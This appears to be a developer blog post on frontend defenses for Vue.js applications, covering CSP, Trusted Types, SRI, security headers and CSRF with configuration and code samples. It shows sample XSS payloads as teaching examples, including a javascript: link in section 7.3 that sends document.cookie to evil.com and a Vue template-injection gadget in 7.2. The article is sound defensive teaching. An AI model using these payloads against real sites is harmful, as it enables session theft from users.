Frontend Security 2026: CSP, Trusted Types, SRI & XSS Defense for Vue.js
Posted on: 4/22/2026 6:15:27 AM
Table of contents
- 1. The Frontend Security Landscape 2026 — Why Client-Side Is the Main Battlefield
- 2. Cross-Site Scripting (XSS) — The 20-Year-Old Threat That Won't Die
- 3. Content Security Policy (CSP) — The Browser's JavaScript Firewall
- 4. Trusted Types API — Blocking DOM-based XSS at the Root
- 5. Subresource Integrity (SRI) — Defending Against CDN Supply Chain Attacks
- 6. Security Headers — The HTTP Defense Line
- 7. Vue.js Security Deep Dive — Common Mistakes and Prevention
- 8. CSRF Protection — Safeguarding User Actions
- 9. Defense in Depth Architecture — Combining All Defense Layers
- 10. Testing and Assessment Tools
- 11. Conclusion — Frontend Security Is Every Developer's Responsibility
In 2026, the frontend is no longer just a user interface — it is the largest attack surface of web applications. With the proliferation of SPA frameworks like Vue.js, React, and Angular, along with the micro-frontend trend, the amount of JavaScript running in user browsers has multiplied compared to five years ago. More concerning, Cross-Site Scripting (XSS) still holds a Top 3 position in the OWASP Top 10 after more than 20 years of existence.
This article dives deep into 5 layers of modern frontend defense: Content Security Policy (CSP), Trusted Types API, Subresource Integrity (SRI), Security Headers, and Vue.js-specific best practices — forming a comprehensive Defense in Depth architecture for client-side security.
1. The Frontend Security Landscape 2026 — Why Client-Side Is the Main Battlefield
Before SPA frameworks became popular, most processing logic lived on the server. Web attacks primarily targeted SQL injection and CSRF on the backend. But modern architecture has completely changed this picture:
graph LR
A["👤 User Browser
JS Runtime"] --> B["🌐 CDN / Edge
Static Assets"]
A --> C["🔌 API Gateway
REST / GraphQL"]
A --> D["📦 Third-party Scripts
Analytics, Chat, Ads"]
A --> E["🗂 npm Packages
node_modules"]
D -->|"Supply Chain Risk"| F["⚠ Malicious Code
Data Exfiltration"]
E -->|"Dependency Risk"| F
B -->|"CDN Compromise"| F
style A fill:#e94560,stroke:#fff,color:#fff
style F fill:#ff9800,stroke:#fff,color:#fff
style B fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style C fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style D fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
style E fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
An average Vue.js/React application in 2026 loads 15–40 third-party scripts (analytics, error tracking, chat widgets, A/B testing, ad scripts). Each script runs with full privileges on your DOM — able to read cookies, localStorage, send data externally, and even modify the UI. If just one of them gets compromised, the entire application is affected.
⚠ The AppsFlyer SDK Incident — March 2026
Between March 9–11, 2026, AppsFlyer's JavaScript SDK (present on 100,000+ websites and applications) was rewritten directly on AppsFlyer's CDN by attackers. For 48 hours, the script was injected with cryptocurrency-stealing code. This is a textbook example: you don't need to write vulnerable code — just loading a third-party script is enough risk.
2. Cross-Site Scripting (XSS) — The 20-Year-Old Threat That Won't Die
XSS allows attackers to inject JavaScript into web pages, running in the context of the victim's browser. Even though modern frameworks automatically escape output, XSS persists for many reasons.
2.1 Three XSS Variants
| Type | Mechanism | Example | Severity |
|---|---|---|---|
| Reflected XSS | Payload in URL/request, server reflects without escaping | search?q=<script>alert(1)</script> | Medium — requires victim to click a link |
| Stored XSS | Payload stored in DB, displayed to all users | Comment with script in a forum | High — affects multiple users automatically |
| DOM-based XSS | Client-side JS reads input (URL hash, postMessage) and writes to unsafe DOM sinks | document.innerHTML = location.hash | Very High — completely bypasses server-side protection |
2.2 Why Frameworks Aren't a Perfect Shield
Vue.js, React, and Angular all automatically escape text interpolation — {{ userInput }} renders as plain text, not HTML. However, there are still many legitimate "escape hatches":
<!-- Vue.js — v-html does NOT escape -->
<div v-html="userComment"></div>
<!-- React — dangerouslySetInnerHTML -->
<div dangerouslySetInnerHTML={{__html: userComment}} />
<!-- Dynamic href with javascript: protocol -->
<a :href="userProvidedUrl">Click here</a>
<!-- If userProvidedUrl = "javascript:alert(document.cookie)" → XSS -->
🔑 The Key Takeaway
Frameworks protect the default path (text interpolation). But whenever developers need to render raw HTML (rich text editors, markdown previews, embedded content), or bind dynamic URLs/styles, that protection is disabled. This is exactly when additional defense layers are needed.
3. Content Security Policy (CSP) — The Browser's JavaScript Firewall
Content Security Policy is an HTTP header that lets you control exactly which resources can be loaded and executed on a page. If an attacker injects a <script> into HTML but CSP doesn't allow inline scripts, the browser will block it — XSS fails even though the payload was successfully injected.
3.1 How CSP Works
sequenceDiagram
participant B as Browser
participant S as Server
participant A as Attacker
S->>B: HTTP Response + CSP Header
Note over B: CSP: script-src 'nonce-abc123'
A->>B: Inject <script>evil()</script>
B->>B: Check CSP — no nonce → BLOCK ✗
S->>B: <script nonce="abc123">app.js</script>
B->>B: Check CSP — nonce match → ALLOW ✓
B->>S: CSP Violation Report (POST /csp-report)
3.2 Practical CSP Configuration for Vue.js SPA
A strong CSP header for a production Vue.js application:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report;
report-to csp-endpoint;
Key directive explanations:
| Directive | Purpose | Vue.js Notes |
|---|---|---|
script-src 'nonce-{random}' | Only allows scripts with matching nonce | Nonce must be unique per request — use server middleware to generate |
style-src 'unsafe-inline' | Allows inline styles | Vue SFC <style scoped> needs inline — use 'nonce-{random}' if possible |
connect-src | Controls fetch/XHR/WebSocket | Whitelist exact API domains — prevents data exfiltration |
frame-src 'none' | Blocks iframe embeds | Open for youtube.com if video embeds needed |
object-src 'none' | Blocks Flash/Java plugins | Always set 'none' — no reason to open |
base-uri 'self' | Prevents attacker from changing <base> tag | Critical — <base> injection can redirect all relative URLs |
3.3 CSP with Vite + Vue.js — Handling Nonces in Build Pipeline
The biggest challenge with nonce-based CSP in SPAs is that Vite/Webpack generates inline scripts for chunk loading. The solution:
// vite.config.ts — Plugin to inject nonce into HTML
import { defineConfig, Plugin } from 'vite'
import vue from '@vitejs/plugin-vue'
function cspNoncePlugin(): Plugin {
return {
name: 'csp-nonce',
transformIndexHtml(html) {
// Server replaces __CSP_NONCE__ with actual nonce per request
return html.replace(
/<script/g,
'<script nonce="__CSP_NONCE__"'
)
}
}
}
export default defineConfig({
plugins: [vue(), cspNoncePlugin()],
build: {
modulePreload: { polyfill: false }
}
})
// ASP.NET Core Middleware — Generate nonce per request
public class CspNonceMiddleware
{
private readonly RequestDelegate _next;
public CspNonceMiddleware(RequestDelegate next) => _next = next;
public async Task InvokeAsync(HttpContext context)
{
var nonce = Convert.ToBase64String(
RandomNumberGenerator.GetBytes(32));
context.Items["CspNonce"] = nonce;
context.Response.Headers.Append(
"Content-Security-Policy",
$"default-src 'self'; " +
$"script-src 'self' 'nonce-{nonce}'; " +
$"style-src 'self' 'nonce-{nonce}'; " +
$"img-src 'self' data: https:; " +
$"connect-src 'self' https://api.yourapp.com; " +
$"frame-src 'none'; object-src 'none'; " +
$"base-uri 'self'; form-action 'self'");
await _next(context);
}
}
💡 Safe Deployment: Start with Report-Only
Don't enforce CSP immediately — use Content-Security-Policy-Report-Only first, collecting violation reports for 1–2 weeks. Analyze reports to whitelist legitimate resources, then switch to enforce mode. An overly strict CSP can break your entire application.
3.4 CSP Level 3 — Strict Dynamic and Hash-based
CSP Level 3 introduces the 'strict-dynamic' directive — allowing trusted scripts (via nonce) to create additional scripts without domain whitelisting:
Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic';
/* Script with nonce='abc123' is allowed to run
Scripts it creates (document.createElement('script'))
are automatically trusted
Domain whitelists are IGNORED when strict-dynamic is active */
Benefit: no need to maintain long CDN domain whitelists. Risk: if a trusted script is compromised (via prototype pollution, for example), it can load additional malicious scripts.
4. Trusted Types API — Blocking DOM-based XSS at the Root
CSP protects against script injection, but DOM-based XSS occurs when your existing JavaScript writes unsafe data to DOM sinks (innerHTML, document.write, eval). Trusted Types is the answer to this problem.
4.1 How It Works
graph TD
A["🔤 Untrusted String
'<img onerror=alert(1)>'"] --> B{"Trusted Types
Enforcement?"}
B -->|"Disabled"| C["innerHTML = string
→ XSS executes ✗"]
B -->|"Enabled"| D["innerHTML = string
→ TypeError! Browser blocks"]
B -->|"Enabled"| E["Through Sanitizer Policy
→ TrustedHTML object"]
E --> F["innerHTML = trustedHTML
→ Safe ✓"]
style A fill:#ff9800,stroke:#fff,color:#fff
style C fill:#e94560,stroke:#fff,color:#fff
style D fill:#e94560,stroke:#fff,color:#fff
style F fill:#4CAF50,stroke:#fff,color:#fff
style E fill:#f8f9fa,stroke:#4CAF50,color:#2c3e50
4.2 Implementing Trusted Types in Vue.js
// Enable Trusted Types via CSP header
// Content-Security-Policy: require-trusted-types-for 'script';
// trusted-types vue-sanitizer default;
// Create policy for v-html and dynamic content
const sanitizerPolicy = trustedTypes.createPolicy('vue-sanitizer', {
createHTML(input) {
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
'ul', 'ol', 'li', 'h2', 'h3', 'h4',
'blockquote', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
ALLOW_DATA_ATTR: false
})
},
createScriptURL(input) {
const url = new URL(input, location.origin)
if (url.origin === location.origin ||
url.origin === 'https://cdn.jsdelivr.net') {
return url.toString()
}
throw new TypeError(`Blocked script URL: ${input}`)
}
})
// Vue directive replacing v-html
app.directive('safe-html', {
mounted(el, binding) {
el.innerHTML = sanitizerPolicy.createHTML(binding.value)
},
updated(el, binding) {
el.innerHTML = sanitizerPolicy.createHTML(binding.value)
}
})
<!-- BEFORE: Unsafe -->
<div v-html="userContent"></div>
<!-- AFTER: Through Trusted Types policy -->
<div v-safe-html="userContent"></div>
🔑 Browser Support (04/2026)
Trusted Types is fully supported on Chrome and Edge (since v83+). Firefox is implementing (behind flag). Safari has no support yet. Therefore, Trusted Types should be an additional defense layer, not the only one — always combine with CSP and server-side sanitization.
5. Subresource Integrity (SRI) — Defending Against CDN Supply Chain Attacks
SRI allows browsers to verify that files loaded from CDNs haven't been modified from the original. If the hash doesn't match, the browser blocks the file entirely.
5.1 How It Works
<!-- With SRI — browser verifies hash before execution -->
<script
src="https://cdn.jsdelivr.net/npm/vue@3.6.0/dist/vue.global.prod.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous">
</script>
<!-- Same for CSS -->
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-..."
crossorigin="anonymous">
graph LR
A["📄 Build Pipeline
Generate hash"] --> B["🌐 CDN
Host file"]
B --> C["👤 Browser
Download file"]
C --> D{"SHA-384
Hash match?"}
D -->|"✓ Match"| E["Execute script
Safe"]
D -->|"✗ Mismatch"| F["Block script
Load fallback"]
B -.->|"🔓 Attacker
modify file"| G["Modified file
Hash changed"]
G --> D
style A fill:#e94560,stroke:#fff,color:#fff
style E fill:#4CAF50,stroke:#fff,color:#fff
style F fill:#ff9800,stroke:#fff,color:#fff
style G fill:#e94560,stroke:#fff,color:#fff
5.2 Automating SRI in Vite Builds
// vite.config.ts — Plugin to auto-add SRI hashes
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import sri from 'rollup-plugin-sri'
export default defineConfig({
plugins: [
vue(),
sri({
algorithms: ['sha384'],
publicPath: '/'
})
]
})
# Generate SRI hash manually
$ openssl dgst -sha384 -binary vue.global.prod.js | openssl base64 -A
# Output: oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K...
# Or use srihash.org for individual files
5.3 SRI Limitations and Complementary Solutions
⚠ SRI Doesn't Protect When the Source Is Compromised
In the AppsFlyer incident (03/2026), the file on the CDN was changed at the source. If a website had pinned an SRI hash to the old version, the browser would block the script → application breaks but users stay safe. However, if developers update the SRI hash to the new (compromised) version — SRI becomes useless. The lesson: review changelogs when updating third-party dependencies, don't just mechanically update hashes.
| Method | Protects Against | Does Not Protect Against |
|---|---|---|
| SRI | CDN MITM, file modified on CDN | Source compromise, new version with malware |
| CSP connect-src | Scripts sending data to unknown domains | Scripts sending data to whitelisted domains |
| Self-hosting | Complete CDN compromise | Dependency compromise before download |
| npm audit + lockfile | Known CVEs in dependencies | Zero-days, undiscovered backdoors |
6. Security Headers — The HTTP Defense Line
Beyond CSP, many other HTTP headers form a comprehensive defense layer. Here's the recommended header set for any Vue.js/.NET production application:
// ASP.NET Core — SecurityHeaders Middleware
public class SecurityHeadersMiddleware
{
private readonly RequestDelegate _next;
public SecurityHeadersMiddleware(RequestDelegate next) => _next = next;
public async Task InvokeAsync(HttpContext context)
{
var headers = context.Response.Headers;
// Anti-clickjacking — prevent iframe embedding
headers.Append("X-Frame-Options", "DENY");
// Anti-MIME sniffing — browser must respect Content-Type
headers.Append("X-Content-Type-Options", "nosniff");
// Control Referer information sent
headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");
// Block unnecessary browser features
headers.Append("Permissions-Policy",
"camera=(), microphone=(), geolocation=(), " +
"payment=(), usb=(), bluetooth=()");
// Force HTTPS — includeSubDomains + preload
headers.Append("Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload");
// Cross-Origin Isolation for SharedArrayBuffer
headers.Append("Cross-Origin-Opener-Policy", "same-origin");
headers.Append("Cross-Origin-Embedder-Policy", "require-corp");
await _next(context);
}
}
| Header | Protects Against | Recommended Value |
|---|---|---|
| Strict-Transport-Security | SSL stripping, downgrade attacks | max-age=31536000; includeSubDomains; preload |
| X-Content-Type-Options | MIME confusion attacks | nosniff |
| X-Frame-Options | Clickjacking | DENY or SAMEORIGIN |
| Referrer-Policy | Sensitive URL leakage via Referer header | strict-origin-when-cross-origin |
| Permissions-Policy | Browser API abuse (camera, mic) | Disable all unused features |
| COOP + COEP | Spectre-class side channel attacks | same-origin + require-corp |
7. Vue.js Security Deep Dive — Common Mistakes and Prevention
Vue.js has a solid security design — the template compiler auto-escapes text. But some common patterns inadvertently create vulnerabilities:
7.1 v-html and Template Injection
// ❌ DANGEROUS: v-html with user input
<div v-html="comment.body"></div>
// ✅ SAFE: Sanitize before rendering
import DOMPurify from 'dompurify'
const sanitizedBody = computed(() =>
DOMPurify.sanitize(comment.value.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target', 'rel']
})
)
// <div v-html="sanitizedBody"></div>
7.2 Dynamic Components and Script Gadgets
Research from PortSwigger (2025) shows that Vue.js can be exploited as a script gadget to bypass CSP in certain cases:
// ❌ DANGEROUS: mounting Vue on a node with server-rendered content
// If server renders user input into DOM before Vue mounts,
// Vue's template compiler will evaluate {{ expressions }}
const app = createApp({})
app.mount('#app') // #app contains {{ constructor.constructor('alert(1)')() }}
// ✅ SAFE: Don't mount Vue on nodes containing untrusted content
// Use SSR properly with Nuxt — content is escaped on the server
7.3 URL Sanitization for Router and Dynamic Links
// ❌ DANGEROUS: Dynamic href without validation
<a :href="userProfile.website">Website</a>
// userProfile.website = "javascript:document.location='https://evil.com?c='+document.cookie"
// ✅ SAFE: Validate URL protocol
function sanitizeUrl(url) {
try {
const parsed = new URL(url)
if (['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return parsed.toString()
}
return '#'
} catch {
return '#'
}
}
// <a :href="sanitizeUrl(userProfile.website)">Website</a>
7.4 PostMessage and Cross-Origin Communication
// ❌ DANGEROUS: No origin validation
window.addEventListener('message', (event) => {
document.getElementById('preview').innerHTML = event.data
})
// ✅ SAFE: Validate origin + sanitize data
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted-editor.example.com') return
const sanitized = DOMPurify.sanitize(event.data)
document.getElementById('preview').innerHTML = sanitized
})
8. CSRF Protection — Safeguarding User Actions
Cross-Site Request Forgery (CSRF) tricks users into performing unintended actions on sites where they're authenticated. While SameSite cookies have significantly mitigated CSRF, it's still important to understand and implement properly:
8.1 SameSite Cookies — The Automatic Defense Layer
// ASP.NET Core — Cookie configuration
builder.Services.ConfigureApplicationCookie(options =>
{
options.Cookie.SameSite = SameSiteMode.Strict;
options.Cookie.HttpOnly = true; // JS cannot read
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
options.Cookie.Name = "__Host-session"; // Secure cookie prefix
});
| SameSite Value | Cross-site GET | Cross-site POST | Recommendation |
|---|---|---|---|
Strict | ❌ Blocked | ❌ Blocked | Apps that don't need cross-site navigation |
Lax (default) | ✅ Sent | ❌ Blocked | Suitable for most applications |
None; Secure | ✅ Sent | ✅ Sent | Only when cross-site needed (OAuth, embeds) |
8.2 Anti-Forgery Tokens for Forms and APIs
// ASP.NET Core — Enable Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
options.HeaderName = "X-XSRF-TOKEN";
options.Cookie.Name = "XSRF-TOKEN";
options.Cookie.SameSite = SameSiteMode.Strict;
});
// API Controller
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> TransferFunds(TransferRequest request)
{
// CSRF token already validated automatically
// ...
}
// Vue.js — Axios interceptor for XSRF token
import axios from 'axios'
const api = axios.create({
baseURL: '/api',
xsrfCookieName: 'XSRF-TOKEN',
xsrfHeaderName: 'X-XSRF-TOKEN',
withCredentials: true
})
9. Defense in Depth Architecture — Combining All Defense Layers
No single defense layer is perfect on its own. The strength lies in stacking multiple layers — each blocking a different attack vector:
graph TB
subgraph "Layer 5 — Monitoring"
M1["CSP Violation Reports"]
M2["SRI Failure Alerts"]
M3["Anomaly Detection"]
end
subgraph "Layer 4 — Browser Enforcement"
B1["Content Security Policy"]
B2["Trusted Types"]
B3["Permissions Policy"]
end
subgraph "Layer 3 — Transport Security"
T1["HSTS Preload"]
T2["Certificate Transparency"]
T3["SRI Hash Verification"]
end
subgraph "Layer 2 — Application Code"
A1["Input Sanitization
DOMPurify"]
A2["Output Encoding
Vue auto-escape"]
A3["URL Validation"]
end
subgraph "Layer 1 — Authentication"
AU1["SameSite Cookies"]
AU2["CSRF Tokens"]
AU3["HttpOnly + Secure flags"]
end
M1 --> B1
M2 --> T3
B1 --> A1
B2 --> A2
T1 --> AU1
style M1 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style M2 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style M3 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style B1 fill:#e94560,stroke:#fff,color:#fff
style B2 fill:#e94560,stroke:#fff,color:#fff
style B3 fill:#e94560,stroke:#fff,color:#fff
style T1 fill:#2c3e50,stroke:#fff,color:#fff
style T2 fill:#2c3e50,stroke:#fff,color:#fff
style T3 fill:#2c3e50,stroke:#fff,color:#fff
style A1 fill:#4CAF50,stroke:#fff,color:#fff
style A2 fill:#4CAF50,stroke:#fff,color:#fff
style A3 fill:#4CAF50,stroke:#fff,color:#fff
style AU1 fill:#ff9800,stroke:#fff,color:#fff
style AU2 fill:#ff9800,stroke:#fff,color:#fff
style AU3 fill:#ff9800,stroke:#fff,color:#fff
9.1 Implementation Checklist by Priority
__Host- prefix, SameSite=Strict).10. Testing and Assessment Tools
| Tool | Purpose | Free? | CI/CD Integration |
|---|---|---|---|
| securityheaders.com | Scan HTTP security headers | ✅ | ❌ |
| CSP Evaluator (Google) | Evaluate CSP policy strength | ✅ | ❌ |
| Mozilla Observatory | Comprehensive web security scan | ✅ | ❌ |
| Lighthouse (Security audit) | Security audit in Chrome DevTools | ✅ | ✅ |
| Socket.dev | Detect supply chain risks in npm packages | ✅ (OSS) | ✅ |
| Snyk | Dependency vulnerability scanning | ✅ (Free tier) | ✅ |
| OWASP ZAP | Dynamic Application Security Testing (DAST) | ✅ | ✅ |
| Playwright + axe | Automated security regression testing | ✅ | ✅ |
11. Conclusion — Frontend Security Is Every Developer's Responsibility
Frontend security in 2026 is no longer something to "leave to the security team." With SPA architecture, most logic runs in the browser, and every third-party script is a potential attack vector. CSP, Trusted Types, SRI, and security headers form a multi-layered defense mesh — but all require developers to proactively implement them.
💡 The Golden Rule
Trust no input — whether from users, APIs, URL parameters, or postMessage. Trust no script — whether from reputable CDNs or popular npm packages. Validate, sanitize, and verify at every contact point. Defense in Depth isn't paranoia — it's engineering discipline.
References:
- Vue.js Security Best Practices — Official Documentation
- Content Security Policy (CSP) — MDN Web Docs
- Subresource Integrity — MDN Web Docs
- Trusted Types — web.dev
- Content Security Policy Level 3 — W3C Specification
- Evading defences using VueJS script gadgets — PortSwigger Research
- CSRF Prevention Cheat Sheet — OWASP
- AppsFlyer SDK Supply Chain Attack (03/2026) — Security Boulevard
Vector Database — Semantic Search Architecture for AI
TypeScript 6.0: Smarter Type System, Decorator Metadata & Breakthrough Performance
Disclaimer: The opinions expressed in this blog are solely my own and do not reflect the views or opinions of my employer or any affiliated organizations. The content provided is for informational and educational purposes only and should not be taken as professional advice. While I strive to provide accurate and up-to-date information, I make no warranties or guarantees about the completeness, reliability, or accuracy of the content. Readers are encouraged to verify the information and seek independent advice as needed. I disclaim any liability for decisions or actions taken based on the content of this blog.